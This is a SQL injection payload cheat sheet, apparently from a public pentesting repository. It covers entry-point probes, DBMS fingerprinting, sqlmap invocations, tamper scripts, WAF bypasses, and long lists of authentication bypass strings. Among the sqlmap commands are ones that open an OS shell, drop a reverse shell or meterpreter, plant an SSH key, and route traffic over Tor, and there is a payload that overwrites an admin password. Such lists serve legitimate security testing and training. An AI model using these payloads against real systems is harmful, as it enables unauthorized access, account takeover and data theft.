SQL injection

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:

  • Information Leakage
  • Disclosure of stored data
  • Manipulation of stored data
  • Bypassing authorisation controls

Summary

Entry point detection

Detection of an SQL injection entry point
Simple characters

  1. '
  2. %27
  3. "
  4. %22
  5. #
  6. %23
  7. ;
  8. %3B
  9. )
  10. Wildcard (*)
  11. ' # required for XML content

Multiple encoding

  1. %%2727
  2. %25%27

Merging characters

  1. `+HERP
  2. '||'DERP
  3. '+'herp
  4. ' 'DERP
  5. '%20'HERP
  6. '%2B'HERP

Logic Testing

  1. page.asp?id=1 or 1=1 -- true
  2. page.asp?id=1' or 1=1 -- true
  3. page.asp?id=1" or 1=1 -- true
  4. page.asp?id=1 and 1=2 -- false

Weird characters

  1. Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
  2. transformed into U+0022 QUOTATION MARK (")
  3. Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
  4. transformed into U+0027 APOSTROPHE (')

DBMS Identification

  1. ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
  2. ["connection_id()=connection_id()" ,"MYSQL"],
  3. ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
  4. ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
  5. ["@@CONNECTIONS>0" ,"MSSQL"],
  6. ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
  7. ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
  8. ["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
  9. ["ROWNUM=ROWNUM" ,"ORACLE"],
  10. ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
  11. ["LNNVL(0=123)" ,"ORACLE"],
  12. ["5::int=5" ,"POSTGRESQL"],
  13. ["5::integer=5" ,"POSTGRESQL"],
  14. ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
  15. ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
  16. ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
  17. ["current_database()=current_database()" ,"POSTGRESQL"],
  18. ["sqlite_version()=sqlite_version()" ,"SQLITE"],
  19. ["last_insert_rowid()>1" ,"SQLITE"],
  20. ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
  21. ["val(cvar(1))=1" ,"MSACCESS"],
  22. ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
  23. ["cdbl(1)=cdbl(1)" ,"MSACCESS"],
  24. ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
  25. ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

SQL injection using SQLmap

Basic arguments for SQLmap

  1. sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load a request file and use mobile user-agent

  1. sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

Custom injection in UserAgent/Header/Referer/Cookie

  1. python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
  2. The injection is located at the '*'

Second order injection

  1. python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
  2. sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

  1. SQL Shell
  2. python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
  3. Simple Shell
  4. python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
  5. Dropping a reverse-shell / meterpreter
  6. python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
  7. SSH Shell by dropping an SSH key
  8. python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

Crawl a website with SQLmap and auto-exploit

  1. sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
  2. --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
  3. --crawl = how deep you want to crawl a site
  4. --forms = Parse and test forms

Using TOR with SQLmap

  1. sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5

Using a proxy with SQLmap

  1. sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"

Using Chrome cookie and a Proxy

  1. sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3

Using suffix to tamper the injection

  1. python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "

General tamper option and tamper’s list

  1. tamper=name_of_the_tamper
Tamper Description
0x2char.py Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py Appends encoded NULL byte character at the end of payload
base64encode.py Base64 all characters in a given payload
between.py Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’
bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
charencode.py URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py Replaces instances like ‘LIMIT M, N’ with ‘LIMIT N OFFSET M’
commalessmid.py Replaces instances like ‘MID(A, B, C)’ with ‘MID(A FROM B FOR C)’
commentbeforeparentheses.py Prepends (inline) comment before parentheses (e.g. ( -> /**/()
concat2concatws.py Replaces instances like ‘CONCAT(A, B)’ with ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.py Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’
escapequotes.py Slash escape quotes (‘ and “)
greatest.py Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart
halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
htmlencode.py HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ‘)
ifnull2casewhenisnull.py Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
ifnull2ifisnull.py Replaces instances like ‘IFNULL(A, B)’ with ‘IF(ISNULL(A), B, A)’
informationschemacomment.py Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier
least.py Replaces greater than operator (‘>’) with ‘LEAST’ counterpart
lowercase.py Replaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.py Embraces complete query with versioned comment
modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
multiplespaces.py Adds multiple spaces around SQL keywords
nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters
overlongutf8.py Converts all characters in a given payload (not processing already encoded)
overlongutf8more.py Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py Adds a percentage sign (‘%’) infront of each character
plus2concat.py Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
plus2fnconcat.py Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.py Replaces each keyword character with random case value
randomcomments.py Add random comments to SQL keywords
securesphere.py Appends special crafted string
sp_password.py Appends ‘sp_password’ to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py Replaces space character (‘ ‘) with comments
space2dash.py Replaces space character (‘ ‘) with a dash comment (‘—‘) followed by a random string and a new line (‘\n’)
space2hash.py Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)
space2morehash.py Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)
space2mssqlblank.py Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters
space2mssqlhash.py Replaces space character (‘ ‘) with a pound character (‘#’) followed by a new line (‘\n’)
space2mysqlblank.py Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters
space2mysqldash.py Replaces space character (‘ ‘) with a dash comment (‘—‘) followed by a new line (‘\n’)
space2plus.py Replaces space character (‘ ‘) with plus (‘+’)
space2randomblank.py Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters
symboliclogical.py Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py Replaces each keyword character with upper case value ‘INSERT’
varnish.py Append a HTTP header ‘X-originating-IP’
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
xforwardedfor.py Append a fake HTTP header ‘X-Forwarded-For’

Authentication bypass

  1. '-'
  2. ' '
  3. '&'
  4. '^'
  5. '*'
  6. ' or 1=1 limit 1 -- -+
  7. '="or'
  8. ' or ''-'
  9. ' or '' '
  10. ' or ''&'
  11. ' or ''^'
  12. ' or ''*'
  13. '-||0'
  14. "-||0"
  15. "-"
  16. " "
  17. "&"
  18. "^"
  19. "*"
  20. " or ""-"
  21. " or "" "
  22. " or ""&"
  23. " or ""^"
  24. " or ""*"
  25. or true--
  26. " or true--
  27. ' or true--
  28. ") or true--
  29. ') or true--
  30. ' or 'x'='x
  31. ') or ('x')=('x
  32. ')) or (('x'))=(('x
  33. " or "x"="x
  34. ") or ("x")=("x
  35. ")) or (("x"))=(("x
  36. or 2 like 2
  37. or 1=1
  38. or 1=1--
  39. or 1=1#
  40. or 1=1/*
  41. admin' --
  42. admin' -- -
  43. admin' #
  44. admin'/*
  45. admin' or '2' LIKE '1
  46. admin' or 2 LIKE 2--
  47. admin' or 2 LIKE 2#
  48. admin') or 2 LIKE 2#
  49. admin') or 2 LIKE 2--
  50. admin') or ('2' LIKE '2
  51. admin') or ('2' LIKE '2'#
  52. admin') or ('2' LIKE '2'/*
  53. admin' or '1'='1
  54. admin' or '1'='1'--
  55. admin' or '1'='1'#
  56. admin' or '1'='1'/*
  57. admin'or 1=1 or ''='
  58. admin' or 1=1
  59. admin' or 1=1--
  60. admin' or 1=1#
  61. admin' or 1=1/*
  62. admin') or ('1'='1
  63. admin') or ('1'='1'--
  64. admin') or ('1'='1'#
  65. admin') or ('1'='1'/*
  66. admin') or '1'='1
  67. admin') or '1'='1'--
  68. admin') or '1'='1'#
  69. admin') or '1'='1'/*
  70. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  71. admin" --
  72. admin" #
  73. admin"/*
  74. admin" or "1"="1
  75. admin" or "1"="1"--
  76. admin" or "1"="1"#
  77. admin" or "1"="1"/*
  78. admin"or 1=1 or ""="
  79. admin" or 1=1
  80. admin" or 1=1--
  81. admin" or 1=1#
  82. admin" or 1=1/*
  83. admin") or ("1"="1
  84. admin") or ("1"="1"--
  85. admin") or ("1"="1"#
  86. admin") or ("1"="1"/*
  87. admin") or "1"="1
  88. admin") or "1"="1"--
  89. admin") or "1"="1"#
  90. admin") or "1"="1"/*
  91. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass (Raw MD5)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

  1. "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

  1. md5("ffifdyop", true) = 'or'6�]��!r,��b

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

  1. SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed injection

  1. admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

  1. Inject using payload:
  2. attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
  3. The query would look like this:
  4. INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
  5. This query will insert a row for the user attacker_dummy@example.com”. It will also insert a row for the user admin@example.com”.
  6. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
  7. After this, we can simply authenticate with admin@example.com and the password qwerty”!

WAF Bypass

No Space (%20) - bypass using whitespace alternatives

  1. ?id=1%09and%091=1%09--
  2. ?id=1%0Dand%0D1=1%0D--
  3. ?id=1%0Cand%0C1=1%0C--
  4. ?id=1%0Band%0B1=1%0B--
  5. ?id=1%0Aand%0A1=1%0A--
  6. ?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

  1. ?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

  1. ?id=(1)and(1)=(1)--

No Comma - bypass using OFFSET, FROM and JOIN

  1. LIMIT 0,1 -> LIMIT 1 OFFSET 0
  2. SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
  3. SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal - bypass using LIKE/NOT IN/IN

  1. ?id=1 and substring(version(),1,1)like(5)
  2. ?id=1 and substring(version(),1,1)not in(4,3)
  3. ?id=1 and substring(version(),1,1)in(4,3)

Blacklist using keywords - bypass using uppercase/lowercase

  1. ?id=1 AND 1=1#
  2. ?id=1 AnD 1=1#
  3. ?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

  1. AND -> &&
  2. OR -> ||
  3. = -> LIKE,REGEXP, not < and not >
  4. > X -> not between 0 and X
  5. WHERE -> HAVING

Information_schema.tables Alternative

  1. select * from mysql.innodb_table_stats;
  2. +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
  3. | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
  4. +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
  5. | dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
  6. | dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
  7. ...
  8. +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
  9. mysql> show tables in dvwa;
  10. +----------------+
  11. | Tables_in_dvwa |
  12. +----------------+
  13. | guestbook |
  14. | users |
  15. +----------------+

Version Alternative

  1. mysql> select @@innodb_version;
  2. +------------------+
  3. | @@innodb_version |
  4. +------------------+
  5. | 5.6.31 |
  6. +------------------+
  7. mysql> select @@version;
  8. +-------------------------+
  9. | @@version |
  10. +-------------------------+
  11. | 5.6.31-0ubuntu0.15.10.1 |
  12. +-------------------------+
  13. mysql> mysql> select version();
  14. +-------------------------+
  15. | version() |
  16. +-------------------------+
  17. | 5.6.31-0ubuntu0.15.10.1 |
  18. +-------------------------+

References